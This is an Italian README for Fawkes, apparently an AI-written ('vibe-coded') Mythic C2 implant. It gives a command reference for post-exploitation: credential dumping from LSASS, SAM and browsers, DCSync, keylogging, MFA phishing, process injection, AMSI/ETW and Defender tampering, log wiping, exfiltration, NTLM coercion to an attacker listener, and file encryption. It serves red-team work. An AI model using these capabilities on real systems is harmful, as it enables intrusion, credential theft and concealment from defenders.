
Fawkes è un agente C2 Mythic in golang scritto esclusivamente da AI.
Fawkes è un agente Mythic C2 interamente vibe-coded. È iniziato come un "mi chiedo" e si è trasformato in un obiettivo. Il mio obiettivo è non scrivere una singola riga di codice per questo agente, ma produrlo esclusivamente tramite prompt.
Inizialmente ho tentato di scrivere l'agente da solo, ma dopo aver clonato il container di esempio, letto la documentazione di Mythic, guardato i video della serie di sviluppo su YouTube e copiato codice da altri agenti come Merlin o Freyja, ho deciso che semplicemente non avevo tempo per sviluppare il mio agente. Un prompt, invece, per quello ho tempo.
Fawkes è un agente basato su Golang con capacità cross-platform. Supporta Windows (payload EXE, DLL e shellcode), Linux (binari ELF e librerie condivise) e macOS (binari Mach-O per Intel e Apple Silicon). 213 comandi in totale: 113 cross-platform, 82 solo Windows, 21 solo Unix, 11 solo Linux e 6 solo macOS (alcuni comandi hanno implementazioni specifiche per piattaforma che condividono un nome comune, es. screenshot). Supporta l'egresso HTTP e il collegamento peer-to-peer (P2P) TCP per il pivoting interno.
Per installare Fawkes, avrai bisogno di Mythic installato su un computer remoto. Puoi trovare le istruzioni di installazione per Mythic nella pagina del progetto Mythic.
Dalla directory di installazione di Mythic:``` ./mythic-cli install github https://github.com/galoryber/fawkes
## Riferimento rapido dei comandiCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Legge/modifica DACL degli oggetti Active Directory (aggiunge/rimuove ACE, concede DCSync, GenericAll, backup/restore). Multipiattaforma (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Enumera i servizi certificati AD, trova template vulnerabili (ESC1-ESC4, ESC6 via DCOM), richiede certificati tramite DCOM per lo sfruttamento di ESC1/ESC6, o auto-sfruttamento (catena find → parse → request). Multipiattaforma (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Solo Windows)** Gestisce flussi di dati alternativi NTFS — scrive, legge, elenca o elimina flussi dati nascosti. Supporta testo e binario codificato in esadecimale. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Interroga e pulisce gli artefatti forensi di esecuzione. Windows: Shimcache. Linux: recently-used.xbel, miniature, Tracker. macOS: elementi recenti, KnowledgeC, quarantena (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Solo Windows)** Iniezione in processo remoto. `-method apc` (default) accoda shellcode tramite NtQueueApcThread in un thread allertabile (usa `ts` per trovarne uno). `-method hwbp` si collega tramite DebugActiveProcess, imposta un breakpoint hardware su DR0 su un'API target (default `ntdll!NtDelayExecution`) e reindirizza Rip verso lo shellcode quando il breakpoint si attiva — nessun TID richiesto, nessuna coda APC, nessun CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Registra audio dal microfono e carica file WAV. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Multipiattaforma (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Solo Windows)** Interroga e modifica i criteri di audit di Windows. Disabilita la registrazione degli eventi di sicurezza prima di operazioni sensibili. La modalità stealth disabilita le sottocategorie critiche per il rilevamento. Usa API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Solo Windows)** Esegue un comando con argomenti di processo falsificati. Supera Sysmon Event ID 1 e la telemetria della riga di comando degli EDR (T1564.010).
arp | `arp [-ip <subnet>]` o `arp -action spoof -target <IP> -gateway <IP>` | Mostra la tabella ARP con filtri, o avvelenamento della cache ARP per posizionamento MITM (T1557.002). Spoof: solo Linux, ripristina alla pulitura.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Richiede ticket AS-REP per account senza pre-autenticazione ed estrae hash in formato hashcat per cracking offline. Auto-enumerazione tramite LDAP. Multipiattaforma (T1558.004).
av-detect | `av-detect [-deep true]` | Rileva prodotti AV/EDR/sicurezza installati scandendo i processi in esecuzione contro un database di oltre 130 firme. Con `--deep`, controlla anche moduli kernel, unità systemd e directory di configurazione per prodotti installati ma non in esecuzione (Linux). Riporta prodotto, vendor, tipo e PID. Multipiattaforma.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Solo Windows)** Applica automaticamente una patch a una funzione saltando alla più vicina istruzione di ritorno (C3). Utile per bypass di AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Toolkit di codifica dati: base64, XOR (con chiave stringa/hex), hex, ROT13, percent-encoding URL, cifrario di Cesare. Tutti supportano I/O su file. Multipiattaforma (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Solo Windows)** Gestisce lavori di trasferimento BITS per persistenza e download furtivo di file. Crea, sospende, riprende, completa lavori e imposta comandi di notifica per persistenza. I lavori sopravvivono ai riavvii (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Raccoglie dati del browser da Chromium, Firefox e Safari. Cronologia, autofill, segnalibri, download multipiattaforma. Password: Chromium (DPAPI/Keychain/Portachiavi GNOME), Firefox (decifratura NSS key4.db), Safari (Portachiavi macOS). Cookie Firefox su tutte le piattaforme. MITRE T1555.003, T1217.
cat | `cat <file>` o `cat -path <file> -start N -end N -number true` | Mostra il contenuto di un file con intervallo di righe opzionale, numerazione e protezione da dimensioni superiori a 5MB.
cd | `cd <directory>` | Cambia la directory di lavoro corrente.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modifica i permessi di file/directory con notazione ottale (755, 644) o simbolica (+x, u+rw, go-w). Supporto ricorsivo. Multipiattaforma (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Solo Linux/macOS)** Cambia la proprietà di file/directory per nome utente/UID e nome gruppo/GID. Supporto ricorsivo (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Ispeziona i certificati TLS su host remoti — identifica CA, certificati autofirmati, scadenza, SAN, versione TLS, suite di cifratura e impronte SHA256. Multipiattaforma (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Solo Windows)** Enumera i depositi di certificati di Windows per trovare certificati per firma codice, autenticazione client e chiavi private. Cerca in CurrentUser e LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Legge/scive gli appunti o li monitora continuamente per rilevare pattern di credenziali. Multipiattaforma (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Metadati cloud, estrazione credenziali, enumerazione IAM, enumerazione storage, persistenza e accesso a depositi segreti. storage/aws-s3/azure-blob/gcp-gcs: enumera bucket/container con oggetti di esempio. aws-ssm: SSM Parameter Store con decifratura. azure-keyvault: segreti Key Vault tramite identità gestita. gcp-secrets: Secret Manager tramite account di servizio. aws-persist/azure-persist: crea chiavi di accesso/registrazioni app a lunga durata. Rilevamento automatico. IMDSv2. Multipiattaforma (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Crea, elenca, estrae, mette in scena o esfiltra archivi. Stage cifra con AES-256-GCM. Exfil trasferisce a Mythic. exfil-https: carica su URL pre-firmati S3/Azure/GCS con upload chunked, header personalizzati, jitter. exfil-github: esfiltra tramite API GitHub Contents. Multipiattaforma (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Coercizione dell'autenticazione NTLM tramite MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Forza il target ad autenticarsi presso l'ascoltatore dell'attaccante. Supporto pass-the-hash. Multipiattaforma (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Visualizza o modifica la configurazione runtime dell'agente, o auto-aggiorna il binario dell'agente. `show`/`set`: sleep, jitter, kill date, ore lavorative. `update`: scarica nuovo payload da Mythic, verifica, avvia e termina l'agente corrente. Multipiattaforma (T1105).
container-detect | `container-detect` | Rileva l'ambiente di esecuzione del contenitore (Docker, K8s, LXC, Podman, WSL). Controlla vettori di escape come socket Docker e account di servizio K8s. Multipiattaforma (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Solo Linux)** Breakout del contenitore + operazioni K8s — socket Docker, cgroup, nsenter, mount del dispositivo host. K8s: enumera pod/servizi, legge segreti, **k8s-rbac**: scansione ClusterRole/RoleBinding + punteggio percorsi di escalation dei privilegi (crit/warn/info), **k8s-nodes**: superficie d'attacco dei nodi del cluster (kubelet/OS/kernel/CIDR/taints/ruoli), **k8s-etcd**: scopre endpoint client etcd dagli argomenti dei pod del control-plane + probe `/version` non autenticato per endpoint (lettura non autenticata = compromissione completa del cluster), deploy/esegue pod tramite API. **Fuori dal cluster**: `-kubeconfig` accetta file kubeconfig rubati per accesso K8s da host non contenitore (token + autenticazione certificato client) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copia un file dalla sorgente alla destinazione.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Testa le credenziali contro SMB, WinRM e LDAP sugli host target. `verify-all` testa tutte le credenziali del deposito contro gli host scoperti in parallelo. Multipiattaforma (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Raccoglie credenziali: hash shadow (Unix), configurazioni cloud (AWS/GCP/Azure/K8s), segreti di applicazioni, scansione della cronologia della shell per password/token/chiavi API trapelate, cronologia PowerShell + variabili d'ambiente + RDP (Windows), token OAuth/JWT M365 da TokenBroker/Teams/Outlook (Windows), **browser-live**: ruba cookie live, localStorage, sessionStorage tramite protocollo Chrome DevTools (CDP) da Chrome/Edge in esecuzione. **dump-all**: catena automatica di sotto-attività — esegue hashdump + lsa-secrets + cred-harvest tutti in parallelo (Windows). Multipiattaforma (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Mostra un dialogo nativo per le credenziali, abusa del flusso OAuth device code o esegue phishing di codici MFA. dialog: AppleScript su macOS, CredUI su Windows, zenity/kdialog su Linux. device-code: flusso Azure AD OAuth device code per catturare token. mfa-phish: falso dialogo di verifica MFA per catturare codici TOTP. Multipiattaforma (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | Richieste HTTP + upload file per esfiltrazione (T1567). Carica su URL pre-firmati S3, SAS Azure, endpoint generici. Multipiattaforma (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Estrae campi o intervalli di caratteri da righe di file. Delimitatori personalizzati, specifiche di intervallo. Multipiattaforma (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Enumera i depositi di credenziali della piattaforma. Windows: Gestione Credenziali + Vault (CredEnumerateW, vaultcli.dll). Linux: Portachiavi GNOME (secret-tool), KDE KWallet, password WiFi/VPN di NetworkManager, Account Online GNOME. macOS: elementi del Portachiavi (password generiche + internet), password WiFi. `list`=metadati, `dump`=con segreti, `vault`=solo Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Solo Windows)** Gestisce Defender — stato, esclusioni, minacce, abilita/disabilita protezione in tempo reale. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Solo Windows)** Decifratura blob DPAPI (CryptUnprotectData), enumerazione chiavi master, estrazione chiavi di cifratura Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Solo Windows)** Accede alla cassetta postale di Outlook tramite COM. Conta messaggi, cerca per parola chiave, legge per indice, elenca cartelle. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Solo Windows)** Esegue comandi, carica file o mette in scena ed esegue su host remoti tramite DCOM. `check` valida i prerequisiti RPC/DCOM. upload: trasferisce file tramite staging con certutil/PowerShell. exec-staged: carica poi esegue con pulizia automatica. Sei oggetti COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Rileva debugger collegati, strumenti di analisi e strumentazione. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, registri DR. Linux: TracerPid, LD_PRELOAD, mappe di memoria (Frida/Valgrind/sanitizer), VM/sandbox, monitoraggio eBPF (Falco/Tetragon/Tracee), framework auditd, ambito ptrace. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, rilevamento VM (sysctl), prodotti di sicurezza (EDR/AV), ambiente sandbox/analisi. Tutti: scansione dei processi di debug (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — replica le credenziali AD tramite DRS senza toccare LSASS. `domain-takeover` esegue kerberoast + asrep-roast + dcsync krbtgt/Administrator in parallelo. Multipiattaforma (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Riporta l'uso dello spazio su disco del filesystem con filtri opzionali per dispositivo, punto di mount o tipo di filesystem. Multipiattaforma (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Confronta due file e mostra le differenze in formato unificato diff. Algoritmo basato su LCS con numero configurabile di righe di contesto. Multipiattaforma (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Enumerazione DNS — risolve host, interroga record, scopre DC, trasferimenti di zona, rilevamento wildcard, risoluzione furtiva DNS-over-HTTPS, esfiltrazione DNS. Multipiattaforma (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Riporta l'uso del disco per file e directory. Suddivisione delle dimensioni per sottodirectory, ordinato per più grande. Multipiattaforma (T1083).
drivers | `drivers [-filter <name>]` | Enumera i driver/moduli kernel caricati. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: enumerazione kext. Multipiattaforma (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Criteri password/lockout AD e enumerazione FGPP tramite LDAP. Raccomandazioni spray-safe. Multipiattaforma (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Solo Linux/macOS)** Elenca, aggiunge o rimuove lavori cron per persistenza. Supporta voci cron raw o sintassi programma+programmazione.
download | `download <path>` o `download {"path": "/file", "compress": true}` | Scarica un file o una directory dal target. File >1MB auto-compressi con gzip (configurabile). Directory auto-zipate. Verifica hash SHA256. Trasferimento chunked, integrazione con il browser dei file.
drives | `drives` | Elenca unità/volumi disponibili e filesystem montati con tipo, etichetta/dispositivo e spazio libero/totale.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Solo Windows)** Enumera i token di accesso in tutti i processi. `list` mostra PID/user/integrity/session per ogni processo. `unique` raggruppa per utente con conteggi dei processi. Abilita automaticamente SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Cifratura/decifratura AES-256-GCM (T1486) + corruzione mirata di file (T1565). corrupt: sovrascrive le intestazioni dei file con dati casuali. Necessari cancelli di sicurezza per operazioni distruttive.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Elenca, ottiene, imposta o rimuove variabili d'ambiente per il processo agente. Le modifiche sono ereditate dai processi figli. Multipiattaforma.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Scansiona le variabili d'ambiente dei processi per credenziali trapelate, chiavi API e segreti. Oltre 35 pattern di rilevamento tra categorie cloud, database, CI/CD e criptovalute. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Manipolazione del sottosistema di audit/telemetria. Windows: sessioni/providers ETW stop/blind/blind-all/enable/patch/restore. Linux: regole auditd, journald clear/rotate, configurazione syslog, rilevamento agente SIEM. macOS: logging unificato, rilevamento agente di sicurezza. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Gestisce i log degli eventi di sistema. Windows: canali wevtapi.dll. Linux: unità journald e file syslog. macOS: Logging Unificato (os_log) sottosistemi/processi. Elenca origini, interroga eventi, cancella/vuota log, ottiene informazioni. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Esegue un binario nativo dalla memoria. Linux: memfd_create (nessuna scrittura su disco). macOS: file temporaneo con ad-hoc codesign. Windows: file temporaneo con pulizia immediata. Tutte le piattaforme rimuovono gli artefatti dopo l'esecuzione. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Esegue shellcode nel processo corrente. Supporta shellcode codificato XOR/AES-256-CTR con decodifica runtime (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (default) o memfd_create. macOS: MAP_JIT (ARM64) o mmap. Multipiattaforma (T1059.006, T1620).
exit | `exit` | Comunica all'agente di terminare.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Ottiene o imposta attributi di file — nascosto, sola lettura, di sistema (Windows); immutabile, append, nodump (Linux); nascosto, immutabile (macOS). Ometti -attrs per visualizzare i flag correnti. Multipiattaforma (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identifica i tipi di file tramite magic byte (oltre 35 firme). Singolo file o scansione di directory. Rileva eseguibili, archivi, documenti, immagini, database, media e altro. Multipiattaforma (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Cerca file per nome, dimensione, data, permessi o proprietario. Trova binari SUID, file scrivibili da tutti, file di proprietà di utenti specifici. Multipiattaforma (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Scansiona gli host per scoprire dove le credenziali hanno accesso amministratore tramite SMB (condivisione C$) e/o WinRM. **auto-move**: catena automatica di sotto-attività — trova host admin poi si muove lateralmente a ciascuno tramite psexec/wmi. Supporta CIDR, intervalli IP, PTH, scansione parallela (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Gestisce le regole del firewall. Windows: API COM. macOS: ALF + regole pf ancorate. Linux: iptables/nftables (rilevamento automatico). Supporto ancoraggio PF per filtraggio pacchetti su macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Elenca privilegi/capacità. Windows: privilegi del token con abilita/disabilita/strip. Linux: capacità del processo (CapEff/CapPrm) + contesto SELinux/AppArmor. macOS: entitlements, sandbox, gruppi (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Escalation dei privilegi. Windows: SYSTEM tramite furto di token o potato DCOM. Linux: controlla vettori di escalation (SUID, sudo, capacità, docker) o tenta elevazione sudo. macOS: controlla vettori, sudo o prompt amministrativo osascript (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Cerca nei file XML GPP in SYSVOL con attributi cpassword cifrati e li decifra usando la chiave AES pubblicata (MS14-025). Multipiattaforma tramite SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Enumera gli oggetti Criteri di Gruppo tramite LDAP — elenca GPO, mappa i collegamenti con applicazione forzata, trova impostazioni interessanti CSE. Multipiattaforma (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Cerca il contenuto dei file con pattern regex. Ricerca ricorsiva in directory con filtri di estensione, righe di contesto e skip dei file binari. Multipiattaforma (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Calcola hash di file (MD5, SHA-1, SHA-256, SHA-512). Singoli file o directory con filtro glob pattern e controllo profondità. Multipiattaforma (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Mostra il contenuto del file in formato hex+ASCII stile xxd. Controllo offset/lunghezza per esaminare regioni specifiche, massimo 4096 byte. Multipiattaforma (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Enumera gli handle/descrittori di file aperti in un processo. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Estrae hash delle password degli account locali. Windows: hash NTLM dal registro SAM (richiede SYSTEM); **insitu**: enumera sessioni di accesso attive tramite API LSA in-process (richiede admin); **insitu-full**: apre lsass.exe con PROCESS_VM_READ, scansiona sig di lsasrv.dll per LogonSessionList, percorre la lista concatenata, sovrappone il layout KIWI_MSV1_0_LIST_63 su ogni nodo per estrarre LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, percorre la catena di credenziali per AuthPackage a credentials_ptr per catturare ogni busta KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC, scansiona sig di LsaInitializeProtectedMemory_Internal per recuperare i globali della chiave BCrypt IV / h3DesKey / hAesKey più i byte raw IV 16 byte / 3DES 24 byte / AES 32 byte, decifra AES-256-CFB / 3DES-CBC ogni blob cifrato catturato (selezionato per blob da `len % 8`), e sovrappone il layout KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW per estrarre hash NT/LM/SHA — emessi in formato `username:rid:lm:nt:::` compatibile con l'hook ProcessResponse del deposito credenziali dell'azione dump-action (Fase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, richiede admin). Linux: hash da /etc/shadow con identificazione del tipo di hash (richiede root). macOS: hash PBKDF2 dei Servizi Directory dai plist utente (richiede root). **auto-spray**: scarica hash poi li spruzza automaticamente tramite cred-check contro gli host target. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Elenca o cancella i file di cronologia dei comandi shell/applicazione. Copre bash, zsh, fish, PowerShell, python, mysql e altri. Multipiattaforma (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Process hollowing — crea processo sospeso, scrive shellcode, reindirizza esecuzione. **Windows:** CREATE_SUSPENDED + SetThreadContext, PPID spoofing, blocco DLL, decorazione PEB (mascheramento ImagePath/CommandLine/WindowTitle). **Linux (amd64/arm64):** PTRACE_TRACEME + scrittura /proc/mem. **macOS:** ptrace + API Mach VM (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — richiede root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Enumera configurazioni IDE — estensioni VS Code, host SSH remoti, progetti recenti, impostazioni con segreti. Origini dati JetBrains, server di deployment, progetti recenti. Multipiattaforma (T1005, T1083).
ifconfig | `ifconfig` | Elenca le interfacce di rete con indirizzi, MAC, MTU e flag. Multipiattaforma (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Solo Windows)** Esegue un assembly .NET in memoria usando il CLR. Supporta argomenti da riga di comando. Usa `start-clr` prima per il flusso di lavoro di patching AMSI.
inline-execute | `inline-execute` | **(Solo Windows)** Esegue un Beacon Object File (BOF/COFF) in memoria. Supporta tutti i tipi di argomento: stringhe (z), stringhe wide (Z), interi (i), short (s) e binario (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Solo Windows)** Carica un PE nativo (DLL) dalla memoria nel processo corrente. Mapping manuale PE con copia delle sezioni, fixup di rilocazione, risoluzione delle importazioni e invocazione di DllMain. Opzionalmente chiama funzioni esportate (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Solo Linux)** Enumerazione e gestione del firewall Linux tramite iptables/nftables/ufw. IP forwarding, connection tracking, elenco e modifica delle regole. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Ferma un'attività in esecuzione tramite ID attività. Usa `jobs` per elencare le attività in esecuzione. Multipiattaforma.
jobs | `jobs` | Elenca le attività attualmente in esecuzione con ID attività, nome del comando e durata. Multipiattaforma.
jxa | `jxa -code '<script>' [-timeout 60]` o `jxa -file /path/to/script.js` | **(Solo macOS)** Esegue script JavaScript for Automation (JXA) con accesso al bridge ObjC ai framework Foundation, AppKit, Security. Supporta codice inline e input da file (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Richiede ticket TGS per account SPN ed estrae hash in formato hashcat per cracking offline. Auto-enumerazione tramite LDAP. Multipiattaforma (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Enumera, scarica, pulisce e importa ticket Kerberos. L'importazione abilita Pass-the-Ticket: Windows inietta kirbi tramite LSA, Linux/macOS scrive ccache e imposta KRB5CCNAME. Multipiattaforma (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(Solo macOS)** Accede al Portachiavi macOS — elenca portachiavi, scarica metadati, trova password generiche/internet, enumera certificati.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Enumera le relazioni di delega Kerberos — non vincolata, vincolata (con transizione di protocollo), RBCD. **monitor** action (Solo Windows/SYSTEM) interroga LSA per TGT in arrivo e li esporta come blob kirbi. Multipiattaforma tranne monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Logger della tastiera a basso livello. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Rileva eventi incolla Ctrl+V/Cmd+V e cattura il contenuto degli appunti. Tracciamento del contesto della finestra su tutte le piattaforme (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Testa le opzioni di movimento laterale contro i target — controlla connettività SMB, WinRM, RDP, RPC, SSH e suggerisce metodi applicabili. Multipiattaforma (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | Mostra la cronologia degli accessi, tentativi di accesso falliti ed eventi di avvio/arresto del sistema. Linux: analizza wtmp/btmp. Windows: log eventi di sicurezza/sistema. macOS: `last` nativo + log unificato. (T1087.001, T1110, T1082).
